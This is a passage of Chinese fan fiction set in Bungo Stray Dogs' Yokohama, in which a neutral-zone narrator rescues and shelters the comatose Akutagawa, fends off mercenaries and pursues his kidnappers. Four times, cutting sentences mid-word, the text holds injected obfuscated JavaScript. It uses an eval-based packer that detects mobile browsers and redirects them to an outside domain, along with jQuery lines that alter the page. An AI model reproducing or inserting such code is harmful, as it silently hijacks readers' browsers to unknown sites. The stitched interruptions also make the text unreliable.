我嗤道:“只有接触不到权力的人才会相信所谓道义。中原中也在港口黑手党的用处不必多说,就算他真的犯了规矩,只要没有背叛,首领就不会舍弃他。那个男人就像一个冰冷的机器,永远计算着‘最优解’。”
不然,太宰你又为什么会在这里呢?
太宰没有说话,我也只是耍耍嘴皮:“算啦,反正凭你们的交情,他也不会真的对你做什么。”
出乎意料的,太宰笑出了声。
“也许吧,但是如果我不能做到让他放弃杀了我,那他就会真的杀了我。”
叽里咕噜说什么呢,我翻来覆去想了两遍也没听懂。莫名其妙地盯着太宰。太宰看了我一会儿,叹了口气,用一种长辈的语气:“没关系,你还小。”
我:“?”
我提醒他:“我在你十五岁的时候就来横滨闯荡了。”
“是啊。”他不置可否,自顾自向出口走去。
走到一半,他问我:“森先生用什么交换我的命?”
真是可怕的家伙啊,我感叹。这回轮到我摇头:“没有。”
森先生的确提出了一些条件,但那些都不作数,因为从始至终他就不曾真正拥有对等的筹码。
太宰没有生命危险,正因为清楚这一点,我特地先去修了趟列车,翻新了遍警局警车,吃了一顿热气腾腾的鱼豆腐,才慢悠悠来到这间地下室。果不其然太宰自己已经把事情处理的差不多了,我还能收份酬劳,何乐而不为呢。
太宰没再问什么,又停了一会儿,才缓缓向外走去。我看着他的背影,忽然发现,上一次我这样看他,已经是很多年前的事情了。
我知道太宰在等什么,我的确有很多想要问他的东西,但是话语转了一圈,好像也没什么真的想要知道的事情。
说到底,我们也不甚熟悉。即使那次织田作之助的死去,是我唯一一次背弃雇佣的场合;即使太宰这样八面玲珑游刃有余的人,唯独对我避恐不及。
或许是因为织田作之助吧,那个我永远也解答不了疑惑的男人。想到这里,我终于想起来我确实有一个问题想问他。
“你是否想过这样的问题:异能是什么?”
*
又在地下室等了一会儿,算着太宰已经跑到档案室那边,拉开一个不至于牵扯到我的距离,我才动身离开港/黑。结果没走出两步,手机又来一条短信。
我看着那条短信,又叹了口气。
果然,一和那个老爷子扯上关系就会惹到麻烦。
海上的狼烟与陆地上的狼烟并无两样,如果只是为了发送信号,海上的反而要比陆地上的更加明显,毕竟,大海一望无际,没有任何罪恶,也没有任何正义。
所以,也不会有人在意被本该沉默的走私巨轮为什么能够如同时光倒带一般重新回到海面上,那些已经被点燃的军火又为什么只经历一帧的错位,便再一次整齐排列在武器架上。一切都在本应存在的位置,是的,本应如此。
我熟悉芥川龙之介这个名字,他还是个孩子时我还捏过他脸来着。后来孩子长大了,天天杀人放火无恶不作,终于成为一个给我和横滨警察们增加无数工作量的家伙,我在□□的一半业绩都要拜他所赐。
但该说不说,他的运气不错。如果他倒在船上,我可就没有任何办法了。
我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543722|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠着船头,被咸湿泛腥的海水扰得不胜其烦。但和身边倒着的人比起来,这点困扰似乎也不算什么。我左右看看,确定没什么目击证人,悄悄伸手按住芥川的肚子,就见人像一条搁浅的鱼扑腾起来,唏哩哇啦地往外吐着水和血沫子。但那只是生理反射,他本人已经没有任何反应了。我扫了他一眼,那一身的伤口,几乎找不到一块好肉。
不知道还能不能活下来,尽人事吧。或许在他耳边念叨几句“太宰~”会比较有用?
可惜我不能理解芥川对于太宰认同的追逐,连我自己都无法认可的话语,说出来也只是吹吹凉风罢了。人在这个世界上,自我价值的实现是非常重要的,灵魂的觉醒是非常重要的,但那些都是自我的超越,可这个世界上毕竟不止有自己,若说责难,不妨责难为何人生下来便与他人产生联系,却总是被剥夺的定理。
我将外衣盖在芥川湿透的身体上,望着他紧蹙的眉眼,与其说是对他不如说是自言自语道。
“喂,芥川,你有妹妹吧?”
多幸运啊,这个世界上还有着血脉相连的亲人。
“如果你死去,银就会彻底成为孤儿吧。”
无父无母,没有兄长,独自一人漂泊在这个世界上。
“的确,银已经长大了。可是,芥川,你也拥有着强大的力量,你能想象这个没有芥川银的世界吗?”
一个人再强大,他的生命也不过是弹指一挥间。最后所能拥有的,只有来时的起点,和将行的重点。如果一个人从最开始就迷失了自己的起点,那么他又该如何去寻找自己未来的方向呢?他又该如何去死呢?
没有回应,我有些无聊地在甲板上乱踩。这艘巨轮已经走上回家的航线,不过走私线路我还不太熟,交给森首领苦恼去吧。
让我这个非战斗人员出面救人,很怀疑这位首领大人是不是根本也没对芥川活着报什么期待,只是想把船捞回来而已。
多亏这孩子命大。
喔,还有一群衷心的下属。
巨轮还没靠岸,已经能看见樋口大步拼命向港口奔来。我才下船,她便已经抢过芥川龙之介,身体颤抖得令我怀疑她是否能够撑着走回去。其他人还保留点理智,芥川银组织医疗小队将芥川龙之介抬到车上。立原退在最后,广津先生右手抚在胸前,向我致谢。
我摆手:“记得让你们的森首领付尾款。”
广津表示他可以直接支付,那敢情好,我直接把他给的现金踹口袋里,也没数,数了还要找钱。广津又说了几句,我有一搭没一搭地听,忽然预感到什么,目光微微偏移。
一抹驼色风衣隐没在集装箱的暗面。
哧,动作还挺快的。
8. 交谈
樋口送芥川去急救,车上没有空余的位置,我和剩下几位就站在港口吹冷风,等着下一波车辆来接。按理说本应该是由樋口负责管理这些的,但是这位现在估计是想不起我们这几个倒霉蛋了。
立原站得最远,揣着兜嘀咕着打个出租。广津老爷子打算先帮组织看好船。我和银离得比较近,见她望着海面发呆,伸手拍了拍她的肩膀。
银吓了一跳。若是往常的她定然能察觉到我的动作,但现在估计也是魂不守舍了。
“芥川没事。”我先对她这样说,然后又问一句,“樋口不知道你们的关系吗?”
芥川银点头。这也不是什么特殊的情况,绝大部分人都不知道芥川龙之介还会有个妹妹。这也是黑手党的生存之道,不要过多暴露的你的软肋。
我不加入各种组织也有这方面的原因,不让他们对我了如指掌,才能在我找到我的母亲时立刻保护她。
我对于这对相依为命的兄妹俩还是比较有好感的,于是打算安慰安慰这位小姑娘。
“我见到你哥哥的时候,他掉进海里,刚好把身上的火都淹灭了。虽然捞了半天差点没捞上来,但是人在甲板上的时候还是用力地咳出了水;虽然咳水的时候咳出了血,但是呼吸还是很有劲儿的;虽然也有失温、痉挛的情况,但我在他耳边说了你的名字,他竟然真的咬牙挺过来了……”
“非常感谢,请不必说了。”
破天荒的,小姑娘开口说话了,声音很轻,还发着哑,
我有些不知所措,望着她发红的眼圈,却不明白为什么,妹妹不是会非常迫切要知道哥哥的情况吗?但既然她坚持,我也只好把后面的话咽回去。
就这样,我们安静了一会儿,只有海浪拍打的声音响在耳畔。在咸湿的海风里,我侧头看着她,记忆中,她还是那么小的孩子,一晃眼都长这么高了。我看见她的次数很少,多数时候都是看见她哥哥,以前在太宰手下被反复锤炼,现在把整个横滨反复锤炼。正因如此,我丝毫不怀疑芥川与港口黑/手党的适配度。可是这个小姑娘很温柔,至少我为数不多与她交道的时候,她说话总是很轻,声线很干净,待人也有礼貌。
这样的女孩子,也许更适合在花店、或是其他阳光下的工作吧。黑手党这样以暴力为货币的地方,终究不是一个对生命良好的土壤。
芥川银对我说:“不是这样的,这条路就是我选择的道路。”
“啊,非常抱歉。”我这才意识到我将心声说了出来。
芥川银摇了摇头,并没有在意我点评的冒犯,而是更加认真地重复了一遍。
“护工小姐,这就是我要走的路。”
她说,是港口Mafia收留了他们兄妹,让他们免于成为贫民窟惨死在野狗嘴下的垃圾,拥有了能够独立生存的力量。与此相对的,他们也会为港口Mafia贡献出自己的回报。她认同这份关系,并以身为港口Mafia成员为荣。
我不理解,我只能的不理解,难以置信地问她:“即使你们将与战斗死亡相伴,也许在某天就会葬身黄泉?”
即使你的兄长很可能再也醒不过来,或是永远离开你?
她说:“港口Mafia会收敛我们的尸体。”
我一时不知道该说什么,坦白说,死亡与生命,对我来说都是世界中的一部分,并无荣耀与耻辱相伴,包括我自身的死亡,也只是命运笔下的一个句号。只是,当我意识到这份死亡意味着一个亲人将永远离开另一个亲人,我便感到十分的抗拒,并开始同情他们的命运。
但似乎,我的这份同情也错了。我手足无措地对芥川银开口,难得这般窘迫。芥川银反倒成为了包容的一方,温和地望着我,突然说:“谢谢。”
她伸出手,轻轻揉了揉我的头:“哥哥会没事,你的亲人也不会有事。”
我被她揉懵了。
我们不是聊芥川吗?为什么会说到我的亲人?
但莫名地,这些话语奇妙地缓解了我焦躁的心情。
立原正在试图和广津商量去船上避避风,折腾这一天,现在已经很冷了,岸边的风一吹,更是连骨头都结冰一般。广津给他一个暴栗,在立原的叫声中提醒他老实点,他已经给总部打了电话,很快就会有人来接应。
我和银收回目光,对视一眼,彼此的眉眼都有所舒展。我隐约感觉到她对港/黑的认同,却还辨不清楚,只是有一搭没一搭地找着话题。
我问:“你为什么会走暗/杀的道路呢?”
银似乎也从刚才的对视中放松下来,具体表现在她的话变多了。
银说:“是太宰先生判断的。他说‘我的身形较小,走路很轻,是隐秘身形的苗子’,于是推荐我去魏尔伦先生手下训练。”
熟悉的名字激起我的兴趣,想起中原中也向我提出的建议,我问她:“魏尔伦是个什么样的人?”
银没有说话。
我后知后觉这个问题有些刺探情报的嫌疑,连忙找补两句:“是中原中也推荐我去见见他,如果你觉得为难,我也可以去问他。或者我现在也可以给他打电话。”
“有那位干部的许可吗。”银想了想,终于愿意交流一些不算机密的东西。
但其实对于魏尔伦,她本也知道不多。斟酌了半天的话语,也只道:“是个很淡漠的人。我很少看见他的情绪波动,他的训练方法非常严苛有效,即使我们没有完成,他也不会生气,只是布置好惩罚,剩下的交给我们自己消化。即使遇到非
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543723|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
常有天分的人,他也无所谓。”
“他似乎根本没什么想要的东西,名利、归属或是其他的东西,对他来说都不如独自一人静坐在那里。”银顿了顿,“不,不止是静坐,他似乎在等待着什么——我不确定。我只能说到这里了。”
刚好,在我们的话题告一段落后,交接的车也来了。银在明面上与芥川只是上下属的关系,所以与众人同程一辆车回去。我想,如果广津他们知道他们兄妹之间的关系,想必樋口那边再怎么担忧也会让银先走吧。不过说到底都是芥川银自己决定的事情,她已经不再是看到我怯生生不知道怎么打招呼的小姑娘了,除了最开始的情绪失控,现在已经淡定许多。
我有着捞了芥川的功劳,也就蹭了个座位,司机还贴心地给我送到了家门口。
侦探社与港/黑的酬劳也打到了卡上,那些乱七八糟的事情至此总算告一段落。我回到房间,换上拖鞋,踩在毛绒绒的地毯上。房间很温暖,因为我早上走前忘记开窗户,还有点闷,但无伤大雅。我挤进书架的缝隙给客厅的窗户开了条缝,刚好能看见外面连片的灯火。
这栋楼处在横滨最繁华的地带,位于港口Mafia与武装侦探社的中间区域,很多政/府机关单位也都会在这片聚堆。不过也正因如此,很多都是办公与商业区域,住宅功能很少,现在外面那些亮起的灯光,应该都是加班的苦命打工人。
加油,特种兵们。
疲惫后知后觉涌上,纠缠着我的肌肉酸痒脱力,大脑也浑噩噩的。
我也没空同情他们了,迫切想要倒在柔软的床上睡一觉,但胃忽然一阵刺痛,我以为我能撑到床上,实际上刚走到床边就跪倒下去,还撞倒了摞在床头柜的那几本小说,有一本书脊砸到我的额头上,那大部头当场给我砸得眼前冒光。
嘶。我迟钝地想了一会儿,才想起来今天好像一直没来得及吃饭。
没办法,早上刚醒不久就接到了捞太宰的委托,本来以为只要旅旅游就能解决的问题,最后莫名演变成修列车、修警局、修轮船,一路上虽然也买了些可丽饼之类的零食,但正经饭是没吃的,也不怪胃发出抗议。
说真的,它能撑到我回家再疼已经很厉害了,可惜我现在的状态根本没办法做饭,点外卖的话,外卖员到之前我就已经完蛋了吧。
思来想去,只能用那个办法了。
指尖触碰到地毯,上面的绒毛微微晃荡,在光点的波浪中,地面上那些沾着血迹的书本重新回到床头柜上,还多了一杯冒着热气的甜奶。胃部疼痛骤然消失,身上沾着水汽与寒意的衣服也变成了柔软舒适的睡衣。
包括那些身体的疲惫和酸痛也没有了,除了精神上还有些累,现在的我与昨天的我并无不同。
9. 借宿
我在地毯上坐了一会儿,想要不要继续回床上睡觉,奈何困意全无。
谁让我昨天睡到中午才醒呢,这具身体现在是完全不缺觉。
缓缓神,我慢吞吞地爬起来,走到窗边摆放的全身镜前。里面的人懒懒散散,蓬着头发,一身纯白色睡衣被压出几条褶皱,浑身散发着轻松的模样,令我险些没认出来是谁。
唯独这双眼睛,在一派惬意的装扮氛围中,这双透露着浓浓疲惫与冷淡的死鱼眼格格不入,令我勉强辨认出这是属于我的眼睛。
【昨天你好】本来只是回溯建筑的异能,应用到人类身上,除非那个人在24小时之前就存在于回溯的区域,否则就会被卷入不知名的时空缝隙。当然由于我是异能的主人,我可以选择是否回溯自己的状态,且不论怎样受到回溯也不会消失,所以就成为了一种很好的调整状态与攻击的手段。
坦白说,尽管它确实是非常方便的异能,但我并不热衷于将这个异能用在自己身上。
将全身都替换为昨天的我,还能称作是我吗?
这种类似于忒修斯之船的哲学问题困扰了我很多年,也许未来我也不会想出答案。
不过不管怎么说,我确实得到了很好的恢复,且因为一连几天都没有什么麻烦找到我,我还出去逛了几次街,叫上银一起。经过海边那场谈话,我自认和她的关系更近了一些。
我和她一起去水果摊、去食补的店、去照相馆,并委托她帮我给芥川带各种慰问品。银很感谢我对芥川的关心,我没接话,其实哪是什么关心,只是多给银一些去看望芥川的理由而已。
那场事件的余波并没有结束,我依然能够察觉到银的心事重重。她在工作时,情绪隐藏得很好,一旦放松下来,且没有面罩的遮挡,就连我也能够看出她的几分思绪。
“芥川还没醒吗?”我问她。
这段时间我经常向她询问芥川的情况,并观察着她的反应,可惜就和芥川的近况一样,不曾好转,反倒越发低迷。
我们正在逛花店,银驻足在一束菊花前,她的脸色很差,明显是勉强打起的精神气。
银说:“哥哥伤得太重,医疗报告说……他可能再也醒不过来了。”
我“哦”了一声,又觉得该说点什么,于是劝她:“节哀。”
芥川银:“……”
她沉默地望着我,我眨着眼睛回望她。半响,银轻轻叹了口气,带着我离开了花店,没有选择任何一束花。
她走得有些快,我这种习惯慢吞吞做事情的人一时跟不上,追着小跑了半条街,表现得像是个惹怒了朋友手足无措的笨孩子,大声开口。
“如果我说错话,我很抱歉!我想说我非常体谅你的感受——”
银终于停下脚步,回身看着气喘吁吁的我,语气很温和。
“不,你并不能体谅。”
是因为我的话语生气了吗?我怔愣着看向她。她的语气、目光和神态都没有怪罪的意思,也并无难过或冒犯,我想她是看出了什么的,那些连我自己都没能完全认清的东西。我想起前段时间在海边时她抚摸我头发时轻柔的触感,事到如今,我依然不能领会她的用意。
我等她说话,但她只是叹了口气,再没开口。
*
樋口不知怎的得知了我们的关系,某一天竟然要到了我的电话。电话打来的时候正是上午,我前一天通宵看小说,根本醒不过来,迷迷糊糊挂掉,又响,再挂掉,又响起来。
没招了,我被迫唤醒右手和嘴部神经,接起电话,拼尽全力张口。
“滚。”
“请等一下!”对面的女声急切道。我困死了,出于礼貌,让她有话快说。
然后她便以一种令人膛目结舌的语速开了口。
大意就是:芥川昏迷不醒且消息不知怎地传了出去她担心会有曾经的敌对帮派找上门所以想要让我收留芥川一段时间避避风头也许芥川能在这段时间醒来届时港/黑一定会给我一笔不菲的酬劳希望我能够慎重考虑balabalabala……
给我说清醒了。
橘猫枕在我的手边,瞪大眼睛盯着手机。我我趴在床上惊叹一番她的肺活量,委婉地建议:“要不提炼一下中心思想?”
她说要把芥川送过来一段时间。
害,多大点事。
“行,下午来吧。”
说完手机一扔,倒在床上继续昏迷。
好吧,也许并没清醒。
有句话说人不能在晚上做决定,我得加一句,也不能在没睡醒的早上做决定。
绝对运动告诉我们,下午的我和上午的我不会是一个,也就是说,或许,可以,理论上我可以否定过去的自己……
樋口跪坐在地上,郑重地向我鞠了一躬。
……好吧,好吧,相对静止告诉我们,不要耍无赖。
我蹲在地上,看着一大帮黑衣人推着一张大医疗床挤进来,给我本就乱七八糟的房间雪上加霜。
天知道连人都无处下脚的地方是怎么塞进来一张床外加一大堆医疗设备的!!!
这回真成护工了。
我为一人独享大房变成两人宿舍叹了口气。幸好樋口表示他们会每天派人来进行按摩修养以及其他的护理工作,我只需要等着就行,还说会帮我拿外卖和倒垃圾。
哎呀这话说得,我是多么乐于助人的小女孩,收留伤患义不容辞,和外卖垃圾什么的绝对没关系。
“那就拜托您了。”樋口又向我鞠了一躬,和一大帮黑衣人离开了我的家。
我关上门,房间顿时安静下来,只有医疗器械有规律的响动。
滴滴——滴滴——
我面无表情地俯视着病床上的男人,发丝的阴影盖住他的咽喉。他太瘦了,全身的绷带仿佛能透出骨头的形状,脸色白得如同死人,只有微微起伏的胸膛和生命检测仪证明他还是活着的。
他也曾经是我看着长大的少年,现在也算不上多大。这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543724|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场面,有过私交的人应该都会感到同情或悲伤吧。我盯着他许久,直到那白色薄被起伏了几十次,我依然没有感到那种情绪。
我的胸腔确实是个吝啬的器官。
嗯……今天早饭吃什么呢,温泉蛋拌饭?再加两份玉子烧吧,加很多糖。
我踩着被折腾得乱七八糟的小说,向着厨房走去,没走出两步,又回头看向病床上的人。芥川依然无知无觉,好似只是一具会呼吸的尸体。
如果他不是银的兄长,我根本不会留下他。
三不管地区,绝对的中立地带,一旦存在偏颇,那么距离其名不副实,也只是时间问题。
虽然我也曾向敦投出橄榄枝,但说到底也只是三大势力之间的权衡,都是可以谈判的筹码。但这次不一样。芥川曾经招惹的势力繁多且芜杂,他们可不会在乎什么第四方区域。
好吧,我未来的生活看来不能再平静下去了。
为了报复,我故意将其中一份玉子烧放在芥川的床头,保证香气能够萦绕在他的周围。晚上失眠睡不着时给这家伙也翻几个身,总不能让他太舒坦。等港口Mafia2午休时间给银打电话,然后把电话放在他耳边,主打一个重在参与。
家里的橘猫也将其视为地位低下的成员,有事没事就会想拿他当人肉垫子。当然,我担心芥川万一再有什么猫毛过敏之类的毛病,导致本就不健康的肺雪上加霜,并提防港口Mafia记恨上她,趁我不在家给她大卸八块这种后果,我只能先帮橘猫送到侦探社一段时间。好在他们没有多问原因,不然我还不知道该怎么回答他们。
难道我要说:“嗨,记得你们在那艘走私船上打得要死要活的芥川龙之介吗?对,他现在在我那里养伤,等养好伤还会来招你们麻烦,所以为了他的身体健康请先帮我照顾好猫哦!”
就算我不擅长与人打交道也知道这样会被打死的吧……
银经常会问芥川的情况,我当然对我的暴行只字不提,只是说芥川今天比昨天多喘了口气,姑且从废柴进化成氧气浪费更严重的废柴。银倒没有生气的表现,每次我数落家里这位沉默的房客时,她甚至会轻笑。那是扎着头发蒙着面罩的杀手几乎不会出现的反应,看得出来她真的很开心。
什么嘛,难道银也想报复她哥哥吗?那样的话,下次把银叫来给芥川抓痒痒得了。
最开始我对我的这位舍友非常不适应,虽然他不会诟病我的空调温度,也不会因为我半夜开灯看小说骂我,他的下属们还会帮我扔垃圾和跑腿,但是自己生存空间里突然多一个生命体,果然还是非常别扭。
然而,时间一长,我终究还是习惯了另一道呼吸,习惯了做饭多放点调味料让菜更香一些;习惯每天打电话把音量调到最大然后放到芥川耳边;习惯出门做委托时把樋口他们叫来顶班,顺便让各个监控器待命随时预警,心情好时,还会和这位舍友打个招呼。
“我出门啦!”
生命体征检测仪的滴滴声向我告别。
10. 被袭
生活意外的平静,曾经樋口和我打过预防针,说被芥川击溃的某组织的残兵部将正在招兵买马,但是我提神留意了一个星期依然没有任何动静,多少也就放松下来。
也许那些家伙听说了我的威名,不敢造次了?
当然我很快就意识到我太天真了。
那是一个与平常无异的夜晚,外面下着雨,电热毯暖烘烘的。我盖着被子趴在床上看小说,耳边外面哗哗的雨声与客厅检测仪的声响有规律地交叠,哄得我昏昏欲睡。
忽然手机嗡嗡震动,我猛然睁眼,屏幕显示是布置在楼道的监控发出示警。
一队包裹严实、装备精良的雇佣兵悄然来到我家门前。十多个人,块头大的一巴掌能打死十个我,走路却几乎没有声响,夜色将他们的身形笼罩,若非监控是热感应,可能连它也不会发现。
我立刻关掉屋内的灯。这栋楼房中的外墙是玻璃成像,灯光不会透到外面,门缝什么的也不存在,也就是说,对方还不知道屋中状况。
……好吧,也许现在知道了。
我皱着眉头看着屏幕上的雪花屏。很显然,那隐秘的摄像头被破坏了,这也意味着,对方已经知道我发现了他们。
不过,这个程度已经足够了。我按下手机的某个按键,想象着一墙之隔的画面。
嘶嘶——
几颗催眠瓦斯从廊道暗门出滚落,白色的烟雾在嗡鸣中缓缓蔓延在楼道中。
我换了个按钮。
呲——
数道暗箭射出,箭锋闪着夺命的黑色光芒,射向中间那些人。
手指下移。
轰——
随着一声爆破,楼道霎时便被汹涌的热浪吞没,那些烟雾、冷箭与火焰被尽数隔离在特制的门与墙壁外。
很难想象这会是在一栋其貌不扬的居民楼里发生的场景。这里的房屋都是用特殊材料制成,能够最大程度消化这些陷阱,即使情况失控,我也完全可以利用异能重置它们。
曾有雇主不解其意,问我在横滨挣了这么多年钱,为什么不换一个好点的住宿环境?比如去安保最强的别墅区,或是干脆雇几个保镖,好歹保护一下自己的人身安全。
毕竟,一个绝对中立的地带,代表的不止是各个势力的退让,也意味着走出了各个势力的庇护。尤其是当你没有实力的时候,那就等于人人可欺,人人可辱。
是的,很多人都知道这一点,很多人都觊觎过这个小小的房间,但多年过去,我还在这里。
这就是横滨的中立地带,牢不可破的……
门板剧烈震动了一下,连带着墙壁一起。簌簌的墙灰落下,落到灰白色的水泥地上。
我的思绪被这个动静惊回,死死盯着那不断被撞击的大门。片刻,难堪地扶了扶额。
啧,打脸来得猝不及防。
如果只是散兵游勇,那么按理说,那些暗器足够抵挡这些不受欢迎的客人。不过显然,他们准备的比我想象中更充分,看来我也必须得认真一番了。
我拔出客厅书柜的某本书。下一刻,除了我脚下这块地砖,整片客厅地板都迅速上升,载着病床上的芥川直达楼上。与此同时,我伸出左手,指尖轻轻触碰上墙壁。
【异能力:昨天你好】
空间的定义是什么?什么又算是建筑?
当我们脚下的这片土地连接成片,纵然有墙壁阻隔,亦可算作我们身处在同一空间。
不再需要监控,我也能看见楼道的情况。从全方位的影像中,可以看见那些雇佣兵周围有一层泛着光的保护罩在隔绝着伤害,虽然狼狈,但并没有受到实质性伤害,甚至有余力撞门。
存在异能者吗?
发现这扇门确实坚固,无法暴力撞开后,他们又掏出几样工具,有条不紊地破坏门锁。手法娴熟,手指灵活得不像话,如果不是看不见脸,我几乎要以为这帮家伙是横滨开锁王带出来的兵。
后面的人持着抢,手指搭在扳机上,随时准备射击。他们的反应很快,在门开的一瞬间,连片的子弹便已经贯进尽头的墙壁里。
确认门口没人,他们才停止攻击。一队人悄悄进门,又猛地停下,显然被空旷的水泥地震惊住了。
“什么情况,情报有误?”其中一个雇佣兵脱口而出。
“没有没有,情报很准确。”我礼貌地回答。
他们似乎才发现我的存在,立刻端起枪面对我。
场面一度很尴尬。
“呃,你们好。”我好心地建议他们,“最好不要开枪哦,毕竟我不会有事,但你们可能就再也不能存在于这个世界上了。”
我又想起来,补充道:“那位异能者,你的防御确实很完善,但是你也不能保证彻底阻绝空间,对吧。”
又是一片沉默。
他们的情报确实非常充分,左右看看,虽然没有放下枪,但为首的人开口时语气有礼貌多了。
“我们为‘不吠的狂犬’而来,无意与阁下起争端,破坏的费用我们也会尽数补偿。”
他顿了顿,接着道“并且,我们还会给予您充足的酬劳——只要您交出那个人。”
“好诱人的条件呢。”我装作深思熟虑的样子,很苦恼地说,“可是现在是你们的小命儿在我手里呢,这点条件似乎不够上桌。”
后面的人上前一步,被队长一个眼神制止回去。
天知道他们隔着那么厚的面罩怎么看清眼睛的。
队长是个沉得住气的,问我:“那您想要什么?”
“我这儿确实收留了一个小子,而且我也不是很在乎他的命。”我大咧咧地表示,对方察觉到我的态度,肩膀微微放松。
“但是。”我话锋一转,“你们这几个人,不仅拥有异能者,还擅于应对机关,显然做过专项训练,同时拥有这么周密的情报……我就算不为那小子着想,也得为我自己的小命着想。说吧,你们的内应是谁?”
知晓我所在之处,第一次来便能在短时间内破解我家门锁的人,全横滨目前只有一个。但是那个人没兴趣会插手这些势力的纠缠,除此之外,又有谁能够势如破竹地侵入到这种地步?
“异能特务科?港口Mafia?总不能是武装侦探社吧?”
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543725|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片安静。
我脑中搜索着各种嫌疑人。这栋楼的设计非常刁钻,我所在的房间,在外部甚至无法观测到。能够那么精准地找到芥川的所在,除了特定的异能者,全横滨也只有那么几个。
不对。
在排除嫌疑人之前,一个想法蛮横地闯入我的脑海。
既然他们已经知道房屋的构造和我的异能,那么他们有没有可能知道更多?
我眯着眼睛,冰冷地扫了眼面前重新端正枪的人。持枪的面罩下似乎露出一丝微笑,枪口闪过一丝寒芒。
砰——
*
我赶到楼顶的防爆室时,病床已经不见了。
我暗骂一声,立刻掏出手机给樋口打电话。樋口表现得比我想象中的冷静,除去最开始的惊愕,她飞快地制定好救援计划,并拿出早已调查好的可能地点。
我保持电话畅通,打开防爆室的墙壁,满面枪支弹药整齐排列。我将枪套绑到腿上,揣了两颗手雷,斟酌了一会儿,到底没有拿催泪瓦斯。
“黑蜥蜴部队到齐了吗?”我下楼回溯出一辆车,用力拍上车门,扫了眼油标,一脚油门踩到底。
“黑蜥蜴不会去。”电话那头的语气冷静得过分,与站在芥川身边时判若两人。
夜晚的风很大,凉意几乎透进骨子里。我不确定她现在的心理状态如何,只能低声道,“我很抱歉。”
“不,您已经拖延很长时间了。”樋口说着,轻笑了一声,带着几分自嘲,有些无奈地表示,“我早就预感到了这一天,只是一直自欺欺人地以为不去想,就不会有事。”
她的呼吸声逐渐加重,语气也变得游离。我意识到她已经做好准备,猛打方向盘超过两辆车,车壁重重刮过另一条车道边的护栏,擦出令人耳酸的摩擦声。火花四溅中,我顾不得掀起了两秒的底盘,快速说道:“我即将抵达目标地点,你先别急着冲进去——”
“不行。”樋口坚决地拒绝了我。
“我听说过你的异能,能够瞬间消除敌方大量战力,是保证你在横滨活到现在的杀招。但那是在所属区域全部都是敌人的情况下。在这里,我和芥川前辈的存在会阻碍你的发挥。”
我一时无言。
是的,那就是我的弱点,我的回溯不分敌我,这也是为什么我必须要先让芥川进入防爆室以后才能大展拳脚收拾那帮人。
“但是,我至少可以帮你减少一半的敌人。”只要我保守控制异能,”我还能帮你找到芥川的位置——”
“不必了,白小姐。”樋口说。
这是她第一次这般正经地称呼我的名字。我不明白,明明她想要救芥川的心这般强烈,又为什么要拒绝我的帮助?
我的异能虽然会伤及无辜,但我又不是完全不能控制释放异能的范围。当初侦探社邀请我恢复办公室时,一群人就在走廊围观,我也没有伤害到他们啊。
她让我想起了曾经的一些人,芥川银、中原中也,织田作,还有我的那些朋友们。
为什么?明明我已经在横滨生活了这么长时间,为什么我还总是不明白他们在想什么?
11. 神秘男人
我还想劝几句,耳边却只余下嘟嘟的忙音。樋口挂掉了电话。
来不及再打回去,车辆已经驶入人烟稀少的集装箱地带。我一脚刹车,车险些被甩到海里去。
虽然很高兴自己终于没有撞车也没有把车开翻,但现在来不及想这些,我循着樋口提到过的路线一路寻找,总算在某个转角听到了密集的枪声。
事态太过紧急,我几乎来不及多想,本能发动异能。脑海中浮现出这片港口的全息地图,首先是深处。我看见芥川依然沉睡在那张病床上,滴滴作响的仪器交缠在他的身上;外侧,交火的樋口和敌人们仍在酣战。我没有冲上去,因为我看到,在更加深处的黑暗中,一个身形单薄,拥有着俊美的少年面庞的男人站在那里。
我不认识他,也不曾听说过横滨有这样的人物。但就在那一刻,内心深处的,源于人类这个种族这么多年的挣扎生存而衍化而出的警钟疯狂作响。
就在这时,那个男人,揣着兜正在放空的那个男人,突然抬起头。正面对着我的打量,露出一个纯洁如少年的微笑。
我的双脚不受控制地停下,身体难以抑制地颤抖。
